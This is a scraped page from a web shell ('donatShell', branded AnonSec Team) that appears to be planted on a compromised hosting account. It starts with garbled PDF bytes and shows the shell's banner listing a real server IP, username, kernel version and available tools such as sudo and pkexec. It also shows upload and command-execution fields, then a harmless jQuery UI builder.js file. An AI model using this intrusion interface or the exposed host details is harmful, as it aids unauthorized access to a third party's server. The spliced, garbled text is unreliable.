%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY donat Was Here
donatShell
Server IP : 188.40.95.74  /  Your IP : 216.73.216.208
Web Server : Apache
System : Linux cp01.striminghost.net 3.10.0-1160.119.1.el7.tuxcare.els13.x86_64 #1 SMP Fri Nov 22 06:29:45 UTC 2024 x86_64
User : vlasotin ( 1054)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/vlasotin/public_html/assets/plugins/jqueryui/lib/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/vlasotin/public_html/assets/plugins/jqueryui/lib/builder.js
var cache,
	Cache = require( "./cache" ),
	semver = require( "semver" );

cache = new Cache( "Build Cache" );

/**
 * Builder( jqueryUi, components, options )
 * - jqueryUi [ instanceof JqueryUi ]: jQuery UI object.
 * - components [ Array / String ]: Array with the component names, or a special string ":all:" that selects all the components.
 * - options: details below.
 *
 * options:
 * - scope [ String ]: Insert a scope string on the css selectors.
 */
function Builder( jqueryUi, components, options ) {
	this.jqueryUi = jqueryUi;
	this.components = this.expandComponents( components );
	this.options = options;
}

Builder.prototype = {
	build: function( callback ) {
		var cacheKey = this.jqueryUi.pkg.version + JSON.stringify( this.expandComponents( this.components ) ),
			cached = cache.get( cacheKey );

		if ( cached ) {

			// if we have data, call the callback, otherwise push ours
			if ( cached.data ) {
				callback( null, cached.data );
			} else {
				cached.callbacks.push( callback );
			}
			return true;
		}

		cached = {
			callbacks: [ callback ]
		};
		cache.set( cacheKey, cached );

		function done( err, data ) {
			var callbacks = cached.callbacks;
			if ( !err ) {
				cached.data = data;
				delete cached.callbacks;
			}
			callbacks.forEach(function( callback ) {
				callback( err, data );
			});
			delete cached.callbacks;
			if ( err ) {
				cache.destroy( cacheKey );
			}
		}

		if ( semver.gte( this.jqueryUi.pkg.version, "1.11.0-a" ) ) {
			require( "./builder-1-11" )( this, this.jqueryUi, this.components, this.options, done );
		} else {
			require( "./builder-1-10" )( this, this.jqueryUi, this.components, this.options, done );
		}
	},

	expandComponents: function( components ) {
		var allComponents = this.jqueryUi.components().map(function( element ) {
				return element.name;
			}),
			invalidComponent = function( element ) {
				return allComponents.indexOf( element ) < 0;
			};
		if ( typeof components === "string" && components === ":all:" ) {
			components = allComponents;
		}
		// Validate components
		if ( components.some( invalidComponent ) ) {
			throw new Error( "Builder: invalid components for " + this.jqueryUi.pkg.version + " build [ \"" + components.filter( invalidComponent ).join( "\", \"" ) + "\" ]" );
		}
		return components;
	},

	get: function( file ) {
		return this.files.get( file );
	}
};

module.exports = Builder;

Anon7 - 2022
AnonSec Team